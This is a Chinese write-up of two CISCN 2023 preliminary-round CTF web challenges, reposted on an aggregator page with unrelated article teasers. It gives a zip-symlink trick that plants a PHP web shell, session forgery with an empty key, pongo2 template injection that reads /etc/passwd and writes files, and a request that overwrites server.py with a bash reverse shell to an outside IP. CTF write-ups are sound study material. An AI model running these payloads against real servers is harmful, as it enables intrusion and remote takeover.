CISCN 2023 初赛

news2024/11/17 5:43:34

Web

unzip

文件上传页面

在这里插入图片描述

upload.php页面源码显示了出来

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

可以看到，upload.php判断我们上传的文件必须是zip文件，然后会对其进行解压

此题我们可以通过软链接的方式做题

但不能文件链接文件，因为它是在tmp目录下解压文件的。我们需要对目录进行软链接

首先

ln -s /var/www/html shell
此时当前目录下就会生成一个shell目录，指向/var/www/html目录
下面我们进行打压缩包
zip -y 321.zip shell
然后上传上去,上传上去之后，就会立马解压缩了，那么现在shell目录已经链接到/var/www/html，当shell目录里出现了文件的变动，都会相对应在/var/www/html发生操作

接下来，我们创建一个shell文件夹，里面写一个shell.php
└─# mkdir shell
└─# cd shell
└─# cat shell.php
<?php system($_GET[0]);phpinfo();?>

然后对shell.php进行正常压缩，注意压缩包的文件名为shell.zip，要与上面链接的目录名一样
└─# zip shell.zip shell/*
最后上传,访问shell页面

在这里插入图片描述

在这里插入图片描述

go_session

题目提供了附件

go_session_4c91af79780fc70a4d21b272ba3a371c.zip

下面我们分析源代码

main.go

给了两个路由admin和flask

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

route.go

package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)
//从环境变量中获取session_key，然后赋值给store
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	//获取请求中的session-name
	session, err := store.Get(c.Request, "session-name")
	//如果没有获取到session-name，err不为nil，就会返回一个错误的http状态码
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//如果session里面的name值为nil，进入下面的代码块
	if session.Values["name"] == nil {
		//设置name为guest
		session.Values["name"] = "guest"
		//将name为guest的session保存到我们的请求头
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	//获取session，判断session是否为空
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//判断session中的name，不等于admin就返回N0
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	//获取一个为name的查询参数，参数值不存在就使用ssti，这里主要是获取用户输入的数据
	name := c.DefaultQuery("name", "ssti")
	//对用户输入的内容进行html转义，防止xss
	xssWaf := html.EscapeString(name)
	//使用pongo2模板引擎创建一个包含用户输入内容的字符串模板
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	//执行上面定义好的模板，将模板中的变量c替换为用户输入的内容
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//返回一个包含用户输入内容的html字符串
	c.String(200, out)
}

func Flask(c *gin.Context) {
	//获取session，判断session是否为空
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//判断session中的name是否为nil
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	//向本地的5000端口发送一个HTTP请求加上用户输入的名字，如果没有输入就默认为guest
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	//确保上面的函数执行完了，再关闭http请求
	defer resp.Body.Close()
	//读取http响应的内容，存储再boby变量中
	body, _ := io.ReadAll(resp.Body)
	//向用户返回一个包含本地服务响应内容的字符串
	c.String(200, string(body))
}

这题的话，好像是远程的环境变量里session_key根本就没有，为空的，所以我们只需要在本地运行这个环境，将guest改成admin，我们就可以得到admin的session了

session.Values["name"] = "admin"

得到session以后，访问admin

在这里插入图片描述

接下来传入参数name，这里存在pongo2模板注入漏洞

网上有关它的模板注入漏洞很少，直接翻官方文档

https://pkg.go.dev/github.com/flosch/pongo2

从中我发现了pongo2和Django的语法很类似

{{ pongo2.version }}

在这里插入图片描述

通过询问ai，得到如下结果

package main

import (
	"fmt"
	"github.com/flosch/pongo2"
	"io/ioutil"
)

func main() {
	// 读取/etc/passwd文件内容
	content, err := ioutil.ReadFile("/etc/passwd")
	if err != nil {
		panic(err)
	}

	// 创建一个Pongo2模板
	tpl := pongo2.Must(pongo2.FromString("{% include 'passwd' %}"))

	// 注册一个名为'passwd'的模板
	pongo2.RegisterTemplate("passwd", string(content))

	// 执行模板并获取输出
	out, err := tpl.Execute(nil)
	if err != nil {
		panic(err)
	}

	fmt.Println(out)
}

其中关键的代码就是

{% include 'passwd' %}
改成{% include '/etc/passwd' %}

我们在本地测试一下，先把html.EscapeString转义注释掉

在这里插入图片描述

成功可以文件包含了，但是还有去绕过html.EscapeString，这种html的转义基本上是无法绕过，只能通过别的方式传参进来

我们翻一翻go gin官方文档

https://pkg.go.dev/github.com/gin-gonic/gin@v1.9.0

为什么跑去翻这个了，注意看代码

下面是示例，是我本地的，有些地方可能被修改了，不用在意

在这里插入图片描述

官方文档如下：

在这里插入图片描述

但是这几个函数似乎都不行，都是必须要带有参数，直接问ai吧，go语言学的不深，男泵

在这里插入图片描述

给了我一丢丢启发，可以使用c.Request.UserAgent()

在这里插入图片描述

可以了，直接拿到远程来操作

在这里插入图片描述

成功读取，然后读取环境变量，得到flag
在这里插入图片描述

这里是非预期了，其实本地还有一个python环境，读取/app/server.py

在这里插入图片描述

这个python flask框架没啥洞，但是它debug是开着的，热部署，那我们就可以直接篡改server.py

接下来我们只要通过pongo2的模板注入，去篡改其文件内容就行了

第一步，写一个上传表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传表单</title>
</head>
<body>
    <h1>文件上传表单</h1>
    <form action="https://e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show/admin" method="post" enctype="multipart/form-data">
        <label for="file">选择文件:</label>
        <input type="file" id="file" name="file">
        <br><br>
        <button type="submit">上传文件</button>
    </form>
</body>
</html>

第二步，上传抓包该格式

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208503974923088219412672941459
Content-Length: 509
Origin: http://192.168.123.129
Referer: /app/server.py
Cookie: session-name=MTcxNTE1NDI4OHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwbjRagxTzeo4IEdTsWK0nJVqLDhQuJrWVe8t0OrOXgcA==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------208503974923088219412672941459
Content-Disposition: form-data; name="file"; filename="123.py"
Content-Type: text/plain

from flask import Flask, request
import subprocess
app = Flask(__name__)

@app.route('/')
def index():
    return subprocess.call("bash -c 'bash -i >& /dev/tcp/60.204.170.160/8989 0>&1'", shell=True)


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)
-----------------------------208503974923088219412672941459--

注意几个点

在这里插入图片描述

然后我们再去查看server.py内容

在这里插入图片描述

完美篡改，我们去访问flask路由

func Flask(c *gin.Context) {
	//获取session，判断session是否为空
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//判断session中的name是否为nil
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	//向本地的5000端口发送一个HTTP请求加上用户输入的名字，如果没有输入就默认为guest
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	//确保上面的函数执行完了，再关闭http请求
	defer resp.Body.Close()
	//读取http响应的内容，存储再boby变量中
	body, _ := io.ReadAll(resp.Body)
	//向用户返回一个包含本地服务响应内容的字符串
	c.String(200, string(body))
}

注意：为什么name要传/，这是因为如果默认为guest，最后的拼接结果就是 http://127.0.0.1:5000/guest python没有guest这个路由，肯定就报错了

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1656173.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

致力于双碳减排服务——安科瑞推出碳电表

致力于双碳减排服务——安科瑞推出碳电表

1. 概述 全球首个“碳关税”——欧盟碳边境调节机制于2023年10月启动试运行。自此&#xff0c;首批纳入欧盟碳边境调节机制的6个行业相关产品在出口至欧盟国家时需提供碳排放数据&#xff0c;这会倒逼国内制造业企业加快开展产品碳足迹核查的步伐。以钢铁行业为例&#xff0c;…
阅读更多...
进口家装水管十大品牌哪家好，弗锐德为您推荐进口家装水管领先十大品牌

进口家装水管十大品牌哪家好，弗锐德为您推荐进口家装水管领先十大品牌

水管作为家装隐蔽工程之一&#xff0c;选对一款优质的水管是至关重要的&#xff0c;毕竟好的水管能够保证家庭后续几十年的用水安全和健康。今天&#xff0c;小编就和大家说说进口家装水管十大品牌哪家好&#xff1f; 目前国内进口家装水管具有知名度和消费者认可的品牌有&…
阅读更多...
Linux网络编程(三)IO复用三 epoll系统调用

Linux网络编程(三)IO复用三 epoll系统调用

三、epoll系统调用 epoll是Linux特有的I/O复用函数。它在实现和使用上与select、poll有很大差异。 epoll使用一组函数来完成任务&#xff0c;而不是单个函数epoll把用户关心的文件描述符上的事件放在内核里的一个事件表中&#xff0c;从而无须像select和poll那样每次调用都要…
阅读更多...
JS笔试手撕题

JS笔试手撕题

数据劫持 Vue2的Object.defineProperty() Vue2的响应式是通过Object.defineProperty()拦截数据&#xff0c;将数据转换成getter/setter的形式&#xff0c;在访问数据的时候调用getter函数&#xff0c;在修改数据的时候调用setter函数。然后利用发布-订阅模式&#xff0c;在数…
阅读更多...
计算机专业，求你别再玩了，我都替你们着急

计算机专业，求你别再玩了，我都替你们着急

明确学习目标和方向&#xff1a;确定自己希望在计算机领域的哪个方向深入发展&#xff0c;如前端开发、后端开发、数据库管理、人工智能等。根据目标方向&#xff0c;制定详细的学习计划&#xff0c;确保所学知识与未来职业方向相匹配。 【PDF学习资料文末获取】 扎实基础知识…
阅读更多...
effective python学习笔记_推导与生成

effective python学习笔记_推导与生成

用推导取代map和filter 序列推导可取代map和filter&#xff0c;优越性有&#xff1a;1可读性强2不需要map的函数 控制推导逻辑的子表达式不要超过2个 即推导的for层数最多建议两层&#xff0c;多了可读性会下降&#xff0c;反而用for循环会清晰 一层for内可连接多个if&…
阅读更多...
为什么要使用大模型

为什么要使用大模型

随着OpenAI引领的超大模型风潮&#xff0c;大模型的发展日新月异&#xff0c;如同雨后春笋般茁壮成长。在现今的科技舞台上&#xff0c;每周&#xff0c;甚至每一天&#xff0c;我们都能见证到一个全新模型的开源&#xff0c;这些模型的创新性和实用性不断超越前作&#xff0c;…
阅读更多...
激光雷达技术：科技之眼，照亮前行

激光雷达技术：科技之眼，照亮前行

在科技与人文关怀的交响乐章中&#xff0c;一项名为“蝙蝠避障”使用了激光雷达技术原理及应用的创新成果&#xff0c;正悄然改变着视障朋友们的生活方式&#xff0c;为他们的日常出行铺设了一条充满希望的光明之路。今天&#xff0c;让我们一起深入探讨这项技术如何成为盲人出…
阅读更多...
关于Java Chassis 3的契约优先（API First）开发

关于Java Chassis 3的契约优先（API First）开发

契约优先&#xff08;API First&#xff09;开发是指应用程序开发过程中&#xff0c;将API设计作为第一优先级的任务。契约优先开发随着Web Services概念的发展而不断得到重视&#xff0c;特别是微服务架构出现以后&#xff0c;API设计成为影响功能开放、性能优化等问题的关键因…
阅读更多...
企业外贸邮箱有哪些？国内五大外贸邮箱排行榜

企业外贸邮箱有哪些？国内五大外贸邮箱排行榜

外贸公司在进行跨国业务的时候&#xff0c;需要一个稳定安全的企业邮箱。国内的企业外贸邮箱提供商有很多&#xff0c;目前排行在前五的有Zoho Mail企业邮箱、阿里企业邮箱、网易企业邮箱、腾讯企业邮箱、新浪企业邮箱&#xff0c;今天我们就来详细了解下这些邮箱产品。 一、Z…
阅读更多...
球形帐篷：低碳环保的未来多功能建筑—轻空间

球形帐篷：低碳环保的未来多功能建筑—轻空间

球形帐篷是一种创新的建筑形式&#xff0c;以其环保、可持续的特点&#xff0c;正在逐渐成为未来多功能建筑的新趋势。通过采用气膜技术和轻量化材料&#xff0c;球形帐篷将为观众带来与众不同的观影、展览等体验&#xff0c;同时彰显了科技创新与环保共生的理念。 创新科技与环…
阅读更多...
VTK数据的读写--Vtk学习记录1--《VTK图形图像开发进阶》

VTK数据的读写--Vtk学习记录1--《VTK图形图像开发进阶》

读和写操作是VTK可视化管线两端相关的类--Reader和Writer类 Reader:将外部数据读入可视化管线&#xff0c;主要步骤如下 s1:实例化Reader对象 s2:指定所要读取的文件名 s3:调用Update()促使管线执行 对应的Writer: s1:实例化Writer对象 s2输入要写的数据以及指定写入的文…
阅读更多...
N个行业看板组态数据可视化大屏,海量模板库不用代码拖拉就行

N个行业看板组态数据可视化大屏,海量模板库不用代码拖拉就行

芯软云设备管理大数据平台。 芯软云设备管理大数据平台&#xff0c;提供MES工艺模板、能源管理模板、智慧水务模板、智慧农业模板、实际产量、设备管理模板、布局模板等。用户可以选择自己喜欢并适合的模板进行场景构建。平台还提供除模板外&#xff0c;共五大类场景资源&…
阅读更多...
IP地址证书的详细申请步骤

IP地址证书的详细申请步骤

IP地址证书申请的条件有两个&#xff0c;一个是此IP必须是公网IP&#xff0c;另一个是IP的80和443端口必须允许短暂开放。满足这两个条件才能为其部署SSL证书。 IP地址ssl证书申请网址链接https://www.joyssl.com/certificate/select/ip_certificate.html?nid16 1 访问提供IP…
阅读更多...
【PyTorch实战演练】使用CelebA数据集训练DCGAN（深度卷积生成对抗网络）并生成人脸（附完整代码）

【PyTorch实战演练】使用CelebA数据集训练DCGAN（深度卷积生成对抗网络）并生成人脸（附完整代码）

文章目录 0. 前言1. CelebA数据集1.1 核心特性与规模1.2 应用与用途1.3 获取方式1.4 数据预处理 2. DCGAN的模型构建2.1 生成器模型2.2 判别器模型 3. DCGAN的模型训练&#xff08;重点&#xff09;3.1 训练参数3.2 模型参数初始化3.3 训练过程 4. 结果展示4.1 loss值变化过程4…
阅读更多...
前端基础知识-ES6解构赋值（将数组内元素、字符串内字符、对象内属性值快速赋值给其他变量）

前端基础知识-ES6解构赋值（将数组内元素、字符串内字符、对象内属性值快速赋值给其他变量）

前言&#xff1a; 将数组、字符串、对象进行展开&#xff0c;并将展开的数据赋值给指定变量&#xff0c;以达到语法简化的目的&#xff0c;日常开发中可以大大提升我们的效率。 主要语法&#xff1a; 一、[变量1,变量2。。。]目标数组 将数组里面的内容赋给其他变量 场景1…
阅读更多...
Linux流程控制

Linux流程控制

if语句 基本格式 if condition thencommand1 fi 写成一行 if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi if-else语句 格式 if condition thencommand1 command2...commandN elsecommand fi if else- if else if condition1 th…
阅读更多...
3月空气净化器市场数据分析，热门品牌排行榜揭晓！

3月空气净化器市场数据分析，热门品牌排行榜揭晓！

三月上旬以来&#xff0c;中国空气净化器行业的规模持续扩大&#xff0c;市场规模和消费需求也在不断提升&#xff0c;消费者对高质量空气的需求增加。智能化是当前空气净化器市场的一个重要发展方向&#xff0c;这类产品集成了空气过滤、监测等功能&#xff0c;满足了现代消费…
阅读更多...
信创 | 信创基础设施建设：国内外对比分析研究

信创 | 信创基础设施建设：国内外对比分析研究

信创基础设施建设在国内外的比较分析涉及到多个方面&#xff0c;包括政策支持、产业发展现状、技术进步、市场应用等。通过综合分析&#xff0c;我们可以得出以下结论&#xff1a; 政策支持与发展方向&#xff1a;中国自2019年以来&#xff0c;陆续出台了一系列政策支持信创产业…
阅读更多...
[C++基础编程]----预处理指令简介、typedef关键字和#define预处理指令之间的区别

[C++基础编程]----预处理指令简介、typedef关键字和#define预处理指令之间的区别

目录 引言 正文 01-预处理指令简介 02-typedef关键字简介 03-#define预处理指令简介 04-#define预处理指令和typedef关键字的区别 &#xff08;1&#xff09;原理不同 &#xff08;2&#xff09;功能不同 &#xf…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023